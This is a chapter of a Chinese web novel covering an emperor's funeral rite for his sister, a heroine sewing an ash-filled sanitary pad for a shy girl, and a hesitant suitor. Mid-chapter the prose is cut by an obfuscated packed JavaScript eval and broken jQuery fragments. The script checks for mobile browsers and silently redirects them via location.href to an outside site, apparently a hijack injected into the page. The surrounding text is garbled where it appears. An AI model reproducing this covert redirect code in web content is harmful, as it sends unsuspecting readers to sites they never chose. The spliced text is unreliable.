23. 嫌隙

作品:《恶毒反派拒绝洗白

    这话是对谁说的?褚秉文不知道。也许是对他,也许是对自己,也许只是对风说。


    他口口声声说要章符柏放下过去,但其实他才是最放不下的那一个,他的妻子死于战争中,他又如何能释怀呢?


    这些年他逢人便说自己已经放下了,不再娶妻子只是因为自己忙于政事,时常奔赴于前线,无法行使一个丈夫应尽的职责,但他自己心里却看得明白,身边人也心知肚明,他是放不下。


    他的那一份情愫已经跟着亡妻的生命一起,留在了过去。


    要说从前,在燕都念书时,时常和身边的公子儿出宫去听戏,市井中的话本戏曲看了不少,其中也不乏情爱之事。


    但少年时的他尚且稚嫩,不理解男女主怎会爱得死去活来,像是梁祝最终化蝶那样的结局,他只觉得凄美,却并没有觉得其中的爱情有多深刻。


    刻骨铭心,呵,都是庸人自扰罢了。


    直到后来江奉书死了,若非章符柏劝阻,他真的险些像梁祝那般殉情。


    “我出身不好,当初众多兄弟姐妹中,唯有明懿与我最为亲近,她嫁入鞑靼时,我尚且位卑,在朝堂之上毫无话语权。”


    章符柏叹息一口,满口无奈:“时事变迁啊,还以为明懿能等到回国之日……”


    风灌过来,灌进所有人的领口、袖口,冷得刺骨。


    章符柏陷入了沉默之中,他不言语,在场的大臣们也都不敢说话。


    褚秉文站在他身后,看着他的背影,看着那被风吹得紧贴在身上的素服,忽然想起很多年前,章符柏还是三皇子的时候。


    当时朝廷要各地都护府将子女送入燕都学习,作为皇子伴读,也算是提前让边关的武将和皇室人见个面。


    不过漠北都护府这边,最开始定的是褚秉文的妹妹褚敬澜。一个皇子伴读,挑中了都护的女儿,什么心思两方都心知肚明。


    只是褚敬澜不愿意,她生于漠北,长于漠北,纵使漠北风沙肆虐,也从没想过去当被关在燕都城内金丝雀。


    褚家人一合计,便只好让褚秉文去燕都学习,总归是个男子,素来也没有听说哪个皇子有龙阳好的,就算有,那也不合规矩。


    褚秉文去了还能回来,而褚敬澜若是去了,可能就真的得留在燕都了。


    后来褚秉文去了燕都,做了三皇子章符柏的伴读。


    章符柏出身不好,母亲宫女出身,生下他后又因难产而亡,在宫中无依无靠,除了三皇子的名分,再无其他。


    明懿乃是皇后宫中所出,对其多有照顾,故而褚秉文对她的印象也不错,所以在接到明懿尸体的时候,他是有些难过的。


    钦天监监正上前一步,躬身道:“陛下,时辰到了。”


    章符柏没有动。


    他站在那里,又站了一会儿。


    然后他迈步,向前走去。


    褚秉文跟上。


    礼部尚书展开祭文,声音在风里响起来:


    “维大昱建元六年三月戊寅,皇帝谨遣礼部尚书某,致祭于皇妹明懿长公主之灵曰……”


    章符柏没让他念完,他接过祭文,自己念。


    他的声音不高,但稳,一个字一个字念出来,清清楚楚地落在风里。


    念到“远嫁异域,为国和亲”的时候,他的声音顿了一下。


    “魂归故土,哀恸朕心”


    “手足情深,幽冥永隔”


    ……


    他一个字一个字念完,一个字没落。


    念完最后一个字,他亲手把那卷祭文放进墓坑里,然后他接过侍从递来的酒,举过头顶,洒在墓坑前。


    风忽然停了。


    满山的白幡静下来,像在默哀。


    褚秉文站在章符柏身后,看着那杯酒渗进泥土里,看着那卷祭文躺在墓坑里,看着章符柏站在那里,肩背挺直,一动不动。


    这一日的风沙从未停止,直到第二日才将将停歇,都护府中静得出奇,像是什么都没发生过。


    江叙承诺了肖子规,会帮她的,所以次日一早便去了肖子规的房间。


    肖子规行动不便,所以没怎么装扮,不过脸到是洗得干干净净的,衣服看样子也是新换过的。


    江叙在她面前摆了几样东西:一块没用过的细棉布,一卷麻线,一把剪刀,还有一小盆草木灰。


    她昨晚连夜烧的,用最干的柴,烧成最细的灰,用纱布筛过两遍。


    肖子规愣愣看着那堆东西,歪头露出一连疑惑的表情。


    江叙慢慢走过来,站在她面前。


    江叙把那块细棉布递给她:“摸摸。”


    肖子规伸手摸了摸。


    “软不软?”


    肖子规点头。


    “比你那块麻布呢?”


    肖子规没说话。


    江叙把那盆草木灰推过来。


    “这个,”她说,“你知道是什么吗?”


    肖子规看了一眼,答道:“灰。”


    “什么灰?”


    肖子规摇头。


    江叙看着她,忽然笑了一下。


    “我一开始也不知道。”她说,“后来我想了很久,想起小时候听老人说过,用草木灰垫在布上,可以吸那些东西。”


    她顿了顿。


    “但是要用最细的灰,要筛过。太粗的会磨破皮,而且对人的身体也不好。”


    肖子规蹲下来,看着那盆灰。


    灰很细,细得像面粉,颜色灰白灰白的,闻起来有一股烧过的味道。


    “这东西,”肖子规看着面前的东西,这种的她从没有用过,第一次见,只觉得新奇,同时也觉得有点怀疑,便问道:“能用吗?”


    “能用。”江叙说,“但要用布包着,缝成一条,两头系上绳子。”


    肖子规抬起头看她。


    “你会缝?”


    江叙点了点头,这东西她到是会,了。她生于乡镇,生活条件算不上好,所以平日过得比较拮据,小时候的衣服更是能省则省。


    母亲走得早,所以补衣服什么的,都是她自己去做,虽算不上多美观,但好在足够结实。


    “我会,就是不大好看。”


    肖子规闻言,接过了江叙手中的东西,说道:“那还是我来吧。”


    江叙愣了一瞬,转而反应过来,原来肖子规手这么巧,那确实用不上她了,毕竟她的针法实在独特。


    那天上午,她们俩窝在那间小屋里,对着那堆东西,折腾了整整两个时辰。


    江叙负责画样子、剪布、指挥。肖子规负责缝。她手巧,针脚细密,缝得比江叙自己缝的不知道好多少。


    第一条缝出来的时候,肖子规拿着它,翻来覆去地看,这东西和她先前用过的样子差不多,独特就独特在布料和填充物上。


    这东西像个加长版的小枕头。两头缝着细麻绳,可以系在腰上。里面塞的是筛过的草木灰,蓬蓬松松的,捏起来软软的。


    江叙不知道这东西能管多大用。


    但她知道,总比肖子规那块洗了不晒的麻布强。


    “你先用着。”她说,“用完把灰倒掉,把布洗干净,放在太阳底下晒。晒干了,再灌新灰。”


    肖子规点点头。


    她捧着那条东西,只觉得新奇,手覆在上面,仔细地端详着。


    江叙看着她那副样子,心里忽然软了一下,叫了她一声:“肖子规。”


    肖子规闻言,抬头看她。


    “你不脏。”她说,“从来都不脏。”


    肖子规看着她,眼眶又红了,却什么也没说,随后低下头,沉默良久。


    这个岁数的女孩性子内敛,想必是不愿意和外人吐露心声的。


    江叙本不强求,但她注意到肖子规似乎是轻轻地点了一下头。


    很小很小的一个点头。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294662|196809||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    江叙看见了。


    那天傍晚,杜宇来找肖子规,他在院子里东张西望,找了半天没找到人。


    先前被肖子规冷不丁地赶走,本就有些摸不清头脑,当时觉得有些失落,转身便离开了,等回去再想,只觉得越想越不对劲,势必要回来找她问个明白。


    他伸直了脖子,向着屋内看去,只发觉里面似乎没有动静。


    过了一会儿,只见江叙从屋里走了出来,手上拿着一个小布包,不知道里面是什么东西。


    江叙没想到门口有人,先是被吓了一跳,而后看清了是杜宇,这才松了一口气,转而看见他那副样子,忍不住笑了一下。


    “找肖子规?”


    杜宇点头。


    “在屋里呢,这会儿刚换完药。”


    杜宇愣了愣,往西屋那边看了一眼,又收回来。


    他站在那儿,站了一会儿,忽然说了一句:“她……还好吗?”


    这话说得模糊,算是一句试探的话,杜宇不知道江叙知不知道二人闹别扭的事。如果知道,他也想借江叙之口,问一问这究竟是怎么一回事。如果不知道,他也不愿意说,这是两人的私事,太多人知道会闹得不好看。


    他到是没什么,主要肖子规是女孩子,这事传出去对她影响不好。


    江叙看着他,却事听出了他话里试探的意思,在职场上混了那么多年,还不至于这点事都听不出来。


    但她有心装作没听懂一般,毕竟是两人之间的事情,她作为场外人,若是说了什么话,影响了他们二人情感的情感走向,那她可就罪孽深重了。


    只见杜宇都二十五岁的人了,站在那儿,手都不知道往哪儿放,眼神躲躲闪闪的,活脱一个毛头小子模样。


    “你去看看吧,这会肖子规应当还没睡呢。”她对着房间的方向扬了扬头示意他去。


    杜宇心知江叙这么说,多半是不知道二人已经闹了不愉快,不过这样也好,不过这样也好,省得他担心二人的矛盾被别人所知。


    但转而他又犯了难,若是江叙什么都不知道,他连个参谋都没有,毕竟他现在毫无头绪。肖子规的疏远来得莫名其妙,他思来想去也不知道怎么回事。


    江叙没再说话,转身便走了。


    走出了几步,在即将走出院子的时候,她回头看了一眼,只见杜宇还站在那儿,看着房屋的方向。


    肖子规房间的那扇门关着,里面透出一点昏黄的灯光。


    他就那么看着,看了很久,不走,但也不进去。


    放下助人情结,尊重他人命运。


    江叙时刻谨记自己并非这个时代的人,不应该嚷身边任何人的生命轨迹因为她而发生变化。想到此处,她收回了目光,继续往前走。


    走到院门口,她忽然听见身后传来一个声音——


    很小,很轻,像是从门缝里挤出来的。


    “师兄。”


    江叙听出了这是肖子规的声音,她没回头,但她的嘴角,弯了一下。


    祭祀的队伍从风栖山上回来已经是傍晚,皇帝离都已是勉强为之,故而章符柏的行程安排得及为紧凑。祭祀结束后,一行人便准备着回燕都了,一个行程需要三天,一去一回就是六天。


    章符柏继位满打满算也就一年的光景,都城中事务还未平定,需得早日回去。


    褚弘重伤,加上褚秉文和章符柏较为熟悉,故而漠北都护府上的一切接待事务自然而然地就落到了褚秉文身上。


    “父亲重伤,如今久居府中养伤,恐怕无法出面来送陛下了。”褚秉文说道。


    章符柏笑了笑:“无妨,以你我的交情,褚兄不必在意这些。改日我命人送一些上好的补品过来,但愿叔父的伤能早日好起来啊。”


    褚秉文闻言,立刻附身行礼,道谢:“多谢陛下了。”


    “褚兄,明懿和奉书走了,连你我也生了嫌隙了吗?”